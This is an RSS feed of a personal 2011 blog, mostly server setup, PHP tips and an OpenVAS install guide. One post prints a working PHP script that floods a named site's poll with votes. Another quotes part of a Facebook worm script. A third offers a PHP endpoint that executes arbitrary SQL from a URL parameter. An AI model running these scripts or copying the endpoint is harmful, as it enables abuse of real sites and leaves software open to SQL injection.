<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sam Oldak</title>
	<atom:link href="http://samoldak.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://samoldak.com</link>
	<description>Recent graduate in engineering and environmental policy</description>
	<lastBuildDate>Mon, 05 Dec 2011 19:59:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Setting up a new Rackspace Cloud Server with Debian 6, Name.com, and PHP/MySQL</title>
		<link>http://samoldak.com/index.php/setting-up-a-new-rackspace-cloud-server-with-debian-6-and-name-com/</link>
		<comments>http://samoldak.com/index.php/setting-up-a-new-rackspace-cloud-server-with-debian-6-and-name-com/#comments</comments>
		<pubDate>Fri, 02 Dec 2011 16:59:29 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[databases]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[dependencies]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Rackspace]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=498</guid>
		<description><![CDATA[Another instructional blog post as I try to figure out something. Configuring a website with Rackspace.com is much different than setting one up with a shared hosting service such as Dreamhost or GoDaddy.  I could write more about this, but it&#8217;s not really productive. Anyways, here are the steps I went through: 1. Buy a domain. I [...]]]></description>
			<content:encoded><![CDATA[<p>Another instructional blog post as I try to figure out something.</p>
<p>Configuring a website with Rackspace.com is much different than setting one up with a shared hosting service such as Dreamhost or GoDaddy.  I could write more about this, but it&#8217;s not really productive.</p>
<p>Anyways, here are the steps I went through:</p>
<blockquote><p>1. Buy a domain.</p></blockquote>
<div>I chose Name.com, for their cheap prices and no-bullshit/non-shady website (e.g. GoDaddy).  For $8.25/month (after coupon code), you get a .com domain.</div>
<blockquote><p>2. Configure Google Apps</p></blockquote>
<div>With Name.com, this is very simple, there&#8217;s a button for it.  After that, follow Google&#8217;s very detailed instructions.  I chose this option instead of configuring mail on my own server because it&#8217;s simpler, and a very pretty interface.  Plus, all the people working with me on the site already have gmail.</div>
<blockquote><p>3. Set up a Rackspace.com Cloud Server Account</p></blockquote>
<div>Pretty simple, not many options to choose.  At first, all you need will be a cloud server.</div>
<blockquote><p>4. Set up your server on Rackspace.com</p></blockquote>
<div>I went with a Debian 6.0 server with 512MB of RAM after about 10 minutes of internet research.  I have some experience with CentOS, Ubuntu, and Fedora, but the internet said &#8220;Debian&#8221; so I went with that.</div>
<blockquote><p>5. Set up DNS on Name.com</p></blockquote>
<div>First, delete the &#8220;A&#8221; DNS records on name.com.  These can be found under &#8220;Domain Management&#8221; » &#8220;DNS Record Management.&#8221;  Next, add a new &#8220;A&#8221; record with &#8220;*&#8221; in the Record Host field and your Rackspace IP in the Record Answer field.  Add another one with a blank Record Host field and the same IP.</div>
<blockquote><p>6. Log in to your server as root, install everything</p></blockquote>
<div>Using the provided root password from Rackspace, open up a terminal (on Windows use PuTTY).  Enter<br />
<code>#apt-get install apache2 php5 libapache2-mod-php5 mysql-server mysql-client php5-mysql</code></div>
<div>At this point, your DNS information will take a little while to propagate across the internet.  However, if you type your url into your address bar, you should get a page that says &#8220;It works!&#8221; (As of Debian 6).</div>
<div><em>Missing data&#8230;</em></div>
<div>Next add the following to your .htaccess for compression and www-removal.  Make sure to change &#8220;domain.com&#8221; to your domain.</div>
<div>
<pre>RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^domain.com$ [NC]
RewriteRule ^(.*)$ http://domain.com/$1 [L,R=301]

# compress text, html, javascript, css, xml:
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/setting-up-a-new-rackspace-cloud-server-with-debian-6-and-name-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making dynamic SQL queries from Javascript</title>
		<link>http://samoldak.com/index.php/making-dynamic-sql-queries-from-javascript/</link>
		<comments>http://samoldak.com/index.php/making-dynamic-sql-queries-from-javascript/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 17:41:21 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[don't try this unsupervised]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=479</guid>
		<description><![CDATA[Impossible? No! Just add some AJAX to your &#60;head&#62; section: &#60;script type="text/javascript"&#62; function request(query){ if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();} else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} xmlhttp.open("GET","query.php?q="+query,true); xmlhttp.send(); } &#60;/script&#62; and create the new page query.php with the following content, replacing the default values where necessary: &#60;?php $dbhost = '#REPLACE THIS#'; $dbuser = '#REPLACE THIS#'; $dbpass = '#REPLACE THIS#'; $conn = mysql_connect($dbhost, [...]]]></description>
			<content:encoded><![CDATA[<p>Impossible? No!</p>
<p>Just add some AJAX to your <code>&lt;head&gt;</code> section:<br />
<code>&lt;script type="text/javascript"&gt;<br />
function request(query){<br />
	if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}<br />
	else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}<br />
	xmlhttp.open("GET","query.php?q="+query,true);<br />
	xmlhttp.send();<br />
}<br />
&lt;/script&gt;<br />
</code></p>
<p>and create the new page <code>query.php</code> with the following content, replacing the default values where necessary:</p>
<p><code>&lt;?php<br />
$dbhost = '#REPLACE THIS#';<br />
$dbuser = '#REPLACE THIS#';<br />
$dbpass = '#REPLACE THIS#';<br />
$conn = mysql_connect($dbhost, $dbuser, $dbpass);<br />
$dbname = '#REPLACE THIS#';<br />
mysql_select_db($dbname);<br />
$query=$_GET["query"];<br />
mysql_query($query);<br />
?&gt;</code></p>
<p>Using this code, you can make whatever kind of SQL queries you want from other sections of your site.  Be careful however, unless you sanitize your database inputs you leave yourself open to some huge vulnerabilities.</p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/making-dynamic-sql-queries-from-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Facebook&#8217;s PHP SDK logout</title>
		<link>http://samoldak.com/index.php/fixing-facebooks-php-sdk-logout/</link>
		<comments>http://samoldak.com/index.php/fixing-facebooks-php-sdk-logout/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 14:21:23 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Facebook PHP SDK]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=473</guid>
		<description><![CDATA[If you request the &#8220;offline_access&#8221; permission when using the Facebook PHP SDK (and sometimes even without it), it makes the default logout functionality not work very well.  To fix this, here&#8217;s what worked for me: Change your logout url: $logoutUrl = $facebook-&#62;getLogoutUrl(array( 'next' =&#62; ($fbconfig['baseurl'].'logout.php') )); On your logout.php page, add the following code: setcookie('fbs_'.$facebook->getAppId(), [...]]]></description>
			<content:encoded><![CDATA[<p>If you request the &#8220;offline_access&#8221; permission when using the Facebook PHP SDK (and sometimes even without it), it makes the default logout functionality not work very well.  To fix this, here&#8217;s what worked for me:</p>
<ol>
<li>Change your logout url:
<pre>$logoutUrl = $facebook-&gt;getLogoutUrl(array( 'next' =&gt; ($fbconfig['baseurl'].'logout.php') ));</pre>
</li>
<li>On your logout.php page, add the following code:
<pre>setcookie('fbs_'.$facebook->getAppId(), '', time()-100, '/', 'domain.com');
session_destroy();
header('Location: /');</pre>
</li>
</ol>
<p>This should correctly logout your users.</p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/fixing-facebooks-php-sdk-logout/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Storing recurring events in a database</title>
		<link>http://samoldak.com/index.php/storing-recurring-events-in-a-database/</link>
		<comments>http://samoldak.com/index.php/storing-recurring-events-in-a-database/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 21:17:49 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[databases]]></category>
		<category><![CDATA[MEEPME]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=463</guid>
		<description><![CDATA[One problem that seems to affect many web developers (and desktop programmers as well) is how to store recurring events in a database. There are several ways to do this, all with varying degrees of complexity (both inserting and selecting), storage requirements, and requirements on the type of recurrences. These can all be found by [...]]]></description>
			<content:encoded><![CDATA[<p>One problem that seems to affect many web developers (and desktop programmers as well) is how to store recurring events in a database.  There are several ways to do this, all with varying degrees of complexity (both inserting and selecting), storage requirements, and requirements on the type of recurrences. These can all be found by googling, and most are language agnostic in their implementations.  In my case, I needed to store events that could have a very complex set of requirements. Some examples:</p>
<ul>
<li>Weekly on Thursday and Friday forever</li>
<li>Once a month on Friday for 6 months</li>
<li>Every other Friday</li>
<li>Every third Friday of the month</li>
</ul>
<p>Also, it needed to be able to handle exceptions and extensions to existing recurring events, and the events could not be purely virtualized instances, since other objects would references event id numbers as a way of collating data collected.  After all this, a set of three tables seems appropriate, with Event, EventModel, and EventException objects.  Each Event is an instantized version of EventModel, and once instantized will remain forever in the database.  While this is not best practice, negative infinity in our case is relatively manageable for now.  In the future, implicit grouping of data according to a index-less key may be used.  EventModel, which contains all the attributes of a single event, plus meta data relating to recurrences acts as a prototype event for recurring events.  To normalize the data a bit, even non-recurring events will be stored as EventModels.  This will aid in data manipulation later.  The EventException object belongs to a third table, which stores individual event exceptions.</p>
<p>In practice, a daily cron script will create events for that day based upon the rules in EventModels.</p>
<p>When viewing events, the easiest way is to view EventModels, with sub-grouping of recent and upcoming events associated with that EventModel.</p>
<p>&nbsp;</p>
<p>Of course, I&#8217;m not an actual programmer or computer scientist, so suggestions are welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/storing-recurring-events-in-a-database/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Facebook XSS Hacks</title>
		<link>http://samoldak.com/index.php/facebook-xss-hacks/</link>
		<comments>http://samoldak.com/index.php/facebook-xss-hacks/#comments</comments>
		<pubDate>Tue, 26 Apr 2011 19:11:13 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=454</guid>
		<description><![CDATA[Everyone remembers back when you had AOL Instant Messenger, a major threat was getting a virus. Once a friend got one, it would send itself as a chat message to all of their friends, propagating across the network. Now, there seems to be a similar menace facing Facebook, especially it&#8217;s chat feature. I recently received [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone remembers back when you had AOL Instant Messenger, a major threat was getting a virus.  Once a friend got one, it would send itself as a chat message to all of their friends, propagating across the network.</p>
<p>Now, there seems to be a similar menace facing Facebook, especially it&#8217;s chat feature.  I recently received a message from a friend on Facebook with the text: &#8220;Sam See who views your profile @ x.co/WkdW?95031&#8243;.  Upon visiting my newsfeed, I noticed a new event invitation to &#8220;How to see who viewed your profile!!&#8221; by the same person.  Interested to see how this was spreading, I visited the link provided (in a secure browser of course).  Looking at the site, apparently you are supposed to paste in a JavaScript file into your address bar, which executes and tells you who views your profile.  While this is of course impossible, it was interesting to see what exactly was going on.  Opening the JavaScript file, I discovered a bunch of code I can&#8217;t claim to understand.  However, some was kind of simple, and I shall attempt to explain it.</p>
<p><code>var randomnumber=Math.floor(Math.random()*99999);<br />
var chatmessage = '%firstname% See who views your profile @ x.co/WkdW?'+randomnumber;<br />
var postmessage = 'My Top Profile Viewers: \n\ %tf% - 1136 views \n\ %tf% - 983 views \n\ %tf% - 542 views \n\ %tf% - 300 views \n\ See who views your profile @ http://x.co/WkdW?'+randomnumber;<br />
var redirect = 'http://aafv8vni.info/final.php';<br />
var eventdesc = 'Hey everyone, \n\ fb now lets you see who viewed your profile! to enable this feature, go here! - http://x.co/WkdW?'+randomnumber;<br />
var eventname = 'How to see who viewed your profile!!';</code></p>
<p>This first part was very simple.  Apparently it just creates a random link, and spreads it three ways: chat messages, wall posts, and events.  The event creation is something I haven&#8217;t seen before and was kind of interesting.  Also, for those interested, the values provided are hard-coded into the script, which means they are completely fake.  This was assumed, but it&#8217;s nice to know for sure.  I&#8217;m not sure what the random number is for, maybe the author is doing some cool social network analysis on people who click on links like this.  The redirect goes to a pages that links to several surveys that allow them to &#8220;verify your identity.&#8221;  This is probably just more ways to spam you and make money.</p>
<p>The rest of the code is very obfuscated due to variable and function naming.  Some parts to note are that the author left debug functions intact and uses unique URL identifiers for each instance.  I&#8217;m not sure if this is for tracking purposes, but it could open some cool doors for network mapping of gullible people.  The funny thing is that it doesn&#8217;t actually harm your computer (that I know of), and only tries to spread itself.  This could just be the beginning of something bigger, but for right now the worst part is the embarrassment and cleanup of your Facebook profile.  The code itself is not very intriguing, since XSS is a commonly known information security vulnerability affecting many sites on the internet.  However, since the script relies on a victim actually pasting code into the URL bar once they are on Facebook, this scam is easy to avoid.</p>
<p><a href="http://nopaste.info/f0fe8e36f7.html">Full Code</a></p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/facebook-xss-hacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why you shouldn&#8217;t use vulnerable software</title>
		<link>http://samoldak.com/index.php/why-you-shouldnt-use-vulnerable-software/</link>
		<comments>http://samoldak.com/index.php/why-you-shouldnt-use-vulnerable-software/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 04:40:06 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=440</guid>
		<description><![CDATA[Because this might happen. And then this. &#60;?php while(1){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, &#34;http://34st.com/wp-content/plugins/wp-polls/wp-polls.php&#34;); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $id=rand(11,13); curl_setopt($ch, CURLOPT_POSTFIELDS,&#34;vote=true&#38;poll_id=3&#38;poll_3=$id&#34;); curl_exec($ch); curl_close($ch); header('Location: http://getmeep.com/curl.php?loop=true'); } ?&#62;]]></description>
			<content:encoded><![CDATA[<p>Because <a href="http://34st.com/2011/03/highbrow-poll-who-is-having-the-worst-week-ever/">this</a> might happen.<br />
And then <a href="http://underthebutton.com/2011/03/meepme-gets-offended-hacks-34st-com-poll/">this</a>.</p>
<p><code>&lt;?php<br />
while(1){<br />
$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_URL, &quot;http://34st.com/wp-content/plugins/wp-polls/wp-polls.php&quot;);<br />
curl_setopt($ch, CURLOPT_HEADER, false);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
$id=rand(11,13);<br />
curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;vote=true&amp;poll_id=3&amp;poll_3=$id&quot;);<br />
curl_exec($ch);<br />
curl_close($ch);<br />
header('Location: http://getmeep.com/curl.php?loop=true');<br />
}<br />
?&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/why-you-shouldnt-use-vulnerable-software/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MEEPME at Blarney</title>
		<link>http://samoldak.com/index.php/meepme-at-blarney/</link>
		<comments>http://samoldak.com/index.php/meepme-at-blarney/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 08:51:41 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Blarney]]></category>
		<category><![CDATA[MEEPME]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=412</guid>
		<description><![CDATA[Aside from some technical glitches and miscommunication, tonight went pretty well for MEEPME.  Almost a hundred people signed up, and everyone seemed to have a fun time playing around with it.  We got to demo our new AJAXified text feed, and other than a screensaver problem and a video cable problem, it worked great all night.  We [...]]]></description>
			<content:encoded><![CDATA[<p>Aside from some technical glitches and miscommunication, tonight went pretty well for MEEPME.  Almost a hundred people signed up, and everyone seemed to have a fun time playing around with it.  We got to demo our new AJAXified text feed, and other than a screensaver problem and a video cable problem, it worked great all night.  We could even update the page in real time since the AJAX reloaded the contents every .5 seconds.  I have no idea how much load this was actually putting on the server, but hopefully this should hold together until the next major revision.  The first priority is now to finish the admin backend.</p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/meepme-at-blarney/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PennApps in Summary</title>
		<link>http://samoldak.com/index.php/pennapps-in-summary/</link>
		<comments>http://samoldak.com/index.php/pennapps-in-summary/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 01:03:11 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Hackathon]]></category>
		<category><![CDATA[MEEPME]]></category>
		<category><![CDATA[PennApps]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=388</guid>
		<description><![CDATA[Wow, what a trip.  When Matt contacted me a week before the competition to ask if I had a team yet, I had no idea we would get this far. Timeline Thursday, before competition &#8211; Meet up with Matt, go over idea, get introduced to Twilio API Friday, 6pm &#8211; Watch intros, get theme, meet [...]]]></description>
			<content:encoded><![CDATA[<p>Wow, what a trip.  When Matt contacted me a week before the competition to ask if I had a team yet, I had no idea we would get this far.</p>
<h3>Timeline</h3>
<ul>
<li>Thursday, before competition &#8211; Meet up with Matt, go over idea, get introduced to Twilio API</li>
<li>Friday, 6pm &#8211; Watch intros, get theme, meet the team (Fred and Vincent), then leave to go DJ</li>
<li>Saturday, 10am &#8211; arrive to start coding, hungover.</li>
<li>Saturday, 1pm &#8211; basic ideas and framework fleshed out</li>
<li>Saturday, 10pm &#8211; so many bugs!</li>
<li>Saturday, midnight &#8211; start website component</li>
<li>Sunday, 4am &#8211; mostly done, still fixing bugs</li>
<li>Sunday, 10am &#8211; nap on hammock</li>
<li>Sunday, noon &#8211; demo to judges individually</li>
<li>Sunday, 2pm &#8211; demo for 2.5 minutes in front of audience</li>
<li>Sunday, 4pm &#8211; MEEPME announced as Grand Prize winner!</li>
<li>Monday, 4pm &#8211; start social media blitz for Student Choice Award</li>
<li>Following Monday, 12:15am &#8211; MEEPME wins Student Choice Award!</li>
</ul>
<p>Next stop: Wharton Business Plan Competition and Philly Startup Weekend!</p>
<h2>Media</h2>
<p><a href="http://www.youtube.com/watch?v=nnyaOXn_HY4">www.youtube.com/watch?v=nnyaOXn_HY4</a></p>
<p><a href="http://www.youtube.com/watch?v=W4DGTf0fvRQ">www.youtube.com/watch?v=W4DGTf0fvRQ</a></p>

<a href='http://samoldak.com/index.php/pennapps-in-summary/2uwnr/' title='2uwnr'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/2uwnr-150x150.jpg" class="attachment-thumbnail" alt="2uwnr" title="2uwnr" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/8r1c/' title='8r1c'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/8r1c-150x150.jpg" class="attachment-thumbnail" alt="8r1c" title="8r1c" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/171274_787034050297_618833_42684312_1260387_o/' title='171274_787034050297_618833_42684312_1260387_o'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/171274_787034050297_618833_42684312_1260387_o-150x150.jpg" class="attachment-thumbnail" alt="171274_787034050297_618833_42684312_1260387_o" title="171274_787034050297_618833_42684312_1260387_o" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/g43bg/' title='g43bg'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/g43bg-150x150.jpg" class="attachment-thumbnail" alt="g43bg" title="g43bg" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/h5pw/' title='h5pw'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/h5pw-150x150.jpg" class="attachment-thumbnail" alt="h5pw" title="h5pw" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/ij8oe/' title='ij8oe'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/ij8oe-150x150.jpg" class="attachment-thumbnail" alt="ij8oe" title="ij8oe" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/jg9t/' title='jg9t'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/jg9t-150x150.jpg" class="attachment-thumbnail" alt="jg9t" title="jg9t" /></a>
<a href='http://samoldak.com/index.php/pennapps-in-summary/philadelphia-20110116-00052/' title='Philadelphia-20110116-00052'><img width="150" height="150" src="http://samoldak.com/wp-content/uploads/2011/01/Philadelphia-20110116-00052-150x150.jpg" class="attachment-thumbnail" alt="Philadelphia-20110116-00052" title="Philadelphia-20110116-00052" /></a>

]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/pennapps-in-summary/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I wouldn&#8217;t call it hacking&#8230;</title>
		<link>http://samoldak.com/index.php/i-wouldnt-call-it-hacking/</link>
		<comments>http://samoldak.com/index.php/i-wouldnt-call-it-hacking/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 09:49:12 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=345</guid>
		<description><![CDATA[But I just finished a cool embedded systems project for a course I&#8217;m taking. And yes, I used the word &#8220;hacking&#8221; in the title for some sweet Google juice. Anyways, hit up the microblog (updates coming soon).]]></description>
			<content:encoded><![CDATA[<p>But I just finished a cool embedded systems project for a course I&#8217;m taking.  And yes, I used the word &#8220;hacking&#8221; in the title for some sweet Google juice.  Anyways, hit up the <a href="http://robosoccer.samoldak.com">microblog </a>(updates coming soon).<br />
<a href="http://samoldak.com/wp-content/uploads/2010/12/21122010556.jpg"><img src="http://samoldak.com/wp-content/uploads/2010/12/21122010556-300x225.jpg" alt="" title="21122010556" width="300" height="225" class="alignright size-medium wp-image-346" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/i-wouldnt-call-it-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing OpenVAS 3.1 on CentOS 5.5</title>
		<link>http://samoldak.com/index.php/installing-openvas-3-1-on-centos-5-5/</link>
		<comments>http://samoldak.com/index.php/installing-openvas-3-1-on-centos-5-5/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 20:29:10 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[dependencies]]></category>
		<category><![CDATA[information security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenVAS]]></category>

		<guid isPermaLink="false">http://samoldak.com/?p=314</guid>
		<description><![CDATA[Was having some issues installing the latest version (3.1.0) of OpenVAS in a CentOS 5.5 VM today, so I thought I&#8217;d throw up a walkthrough in case anyone else was having similar issues. I&#8217;m not really a Linux expert, so it may look kind of backwards at times. I&#8217;m going to skip the long and [...]]]></description>
			<content:encoded><![CDATA[<p>Was having some issues installing the latest version (3.1.0) of OpenVAS in a CentOS 5.5 VM today, so I thought I&#8217;d throw up a walkthrough in case anyone else was having similar issues.  I&#8217;m not really a Linux expert, so it may look kind of backwards at times.  I&#8217;m going to skip the long and tedious Google searches that make me look stupid, and just give you the good parts.  There exists limited documentation for versions 1.0 and 2.0, but anything 3.0 and above is a mystery.</p>
<p>First thing, download all the sources.  You might also want to run <code>yum update</code> just to be safe.  Since this was a brand new VM, this required about 300MB of updates.<br />
Currently, the &#8220;full setup&#8221; lists the following:</p>
<ul>
<li><a href="http://wald.intevation.org/frs/download.php/767/openvas-libraries-3.1.2.tar.gz">openvas-libraries 3.1.2</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/754/openvas-scanner-3.1.0.tar.gz">openvas-scanner 3.1.0</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/769/openvas-manager-1.0.1.tar.gz">openvas-manager 1.0.1</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/770/greenbone-security-assistant-1.0.1.tar.gz">gsa 1.0.1</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/766/openvas-cli-1.0.0.tar.gz">openvas-cli 1.0.0</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/739/openvas-administrator-0.9.0.tar.gz">openvas-administrator 0.9.0</a></li>
<li><a href="http://wald.intevation.org/frs/download.php/759/gsa-desktop-0.1.0.tar.gz">gsa-desktop 0.1.0</a></li>
</ul>
<p>I downloaded and untar&#8217;d them all for later.  From the limited documentation on the site, I deduced that openvas-libraries should be installed first.  <code>cd</code> to that directory.</p>
<h2>openvas-libraries</h2>
<p>For the cheat codes, skip to the <a href="#libraries">end</a>.</p>
<p>To build and install from source, the usual process is <code>./configure; make; make install</code>.</p>
<p>To isolate errors, you should run each individually, so <code>./configure</code> first.</p>
<p>Alright, this has to be written down somewhere, let&#8217;s check the install_readme.  Apparently we need:</p>
<ul>
<li>libglib &gt;= 2.12</li>
<li>libgnutls &gt;= 2.0</li>
<li>libpcap</li>
<li>libgpgme &gt;= 1.1.2</li>
<li>gcc</li>
<li>bison</li>
<li>flex</li>
</ul>
<p>To install all of these, run <code>yum -y install glib2-devel gnutls-devel libpcap-devel gcc bison flex</code>.  The rest aren&#8217;t in the standard CentOS repo.</p>
<p>Now to try <code>./configure</code>.  We get <code>configure: error: "gcrypt.h not found"</code>.  Now you should be seeing a pattern.  Let&#8217;s fix this by <code>yum -y install libgcrypt-devel</code>.</p>
<p>We are missing library gpgme.  Yum comes up with no results for gpgme, but the script has a link to <a href="http://www.gnupg.org/gpgme.html">http://www.gnupg.org/gpgme.html</a>. Download the source code, and extract it to a folder.  We have to build and install this before we can get back to the main openvas-libraries installation.<br />
Apparently you need GnuPG2, which can be installed by <code>yum -y install gnupg2</code>.  This installs some dependencies, but g13 is still missing.  You also need libassuan and libgpg-error, which can be downloaded from <a href="http://gnupg.org">http://gnupg.org</a>.  Extract both, and <code>./configure; make; make install</code>.  Install libgpg-error first, as it is required for libassuan.</p>
<p>Apparently e2fsprogs-devel is required, but nothing will tell you that.  Instead, the program complains about not having uuid and the development libraries.  Of course, this took a little while to figure out, since uuid and uuid-devel aren&#8217;t in the standard CentOS repos.  Instead, you need to install additional repos, and then find out that it still complains.  Only after some clever Google searches did I find out about e2fsprogs.  <code>yum -y install e2fsprogs-devel</code>.</p>
<p>To build openvas-libraries, you need cmake.  Download and install cmake from http://cmake.org.  To install cmake, you need to have gcc-c++, and use a different script. <code>yum -y install gcc-c++</code> to get the c++ compiler.  Instead of the usual <code>./configure; make; make install</code>,  you need to <code>./bootstrap; gmake; make install</code>. Not sure if you really need to use gmake instead of make, but the output of <code>./bootstrap</code> told me to.</p>
<p>Then, go back to openvas-libraries and <code>make; make install</code></p>
<p><a name="libraries">TL;DR:</a><br />
<em>Note: file versions may be out of date, please visit the homepages for these tools to get the latest versions.</em><br />
<code># yum -y install glib2-devel gnutls-devel libpcap-devel gcc bison flex libgcrypt-devel gnupg2 e2fsprogs-devel gcc-c++</code><br />
<code># wget http://wald.intevation.org/frs/download.php/767/openvas-libraries-3.1.2.tar.gz</code><br />
<code># wget ftp://ftp.gnupg.org/gcrypt/gpgme/gpgme-1.3.0.tar.bz2</code><br />
<code># wget ftp://ftp.gnupg.org/gcrypt/libassuan/libassuan-2.0.1.tar.bz2</code><br />
<code># wget ftp://ftp.gnupg.org/gcrypt/libgpg-error/libgpg-error-1.9.tar.bz2</code><br />
<code># wget http://www.cmake.org/files/v2.8/cmake-2.8.2.tar.gz</code><br />
<code># tar xzf openvas-libraries-3.1.2.tar.gz</code><br />
<code># tar xjf gpgme-1.3.0.tar.bz2</code><br />
<code># tar xjf libassuan-2.0.1.tar.bz2</code><br />
<code># tar xjf libgpg-error-1.9.tar.bz2</code><br />
<code># tar xzf cmake-2.8.2.tar.gz</code><br />
<code># cd libgpg-error-1.9</code><br />
<code># ./configure; make; make install</code><br />
<code># cd ../libassuan-2.0.1</code><br />
<code># ./configure; make; make install</code><br />
<code># cd ../gpgme-1.3.0</code><br />
<code># ./configure; make; make install</code><br />
<code># cd ../cmake-2.8.2</code><br />
<code># ./bootstrap; gmake; make install</code><br />
<code># cd ../openvas-libraries</code><br />
<code># ./configure; make; make install</code></p>
<h2>openvas-scanner</h2>
<p>Next, to install openvas-scanner, extract the files, change to that directory, and<br />
build it.</p>
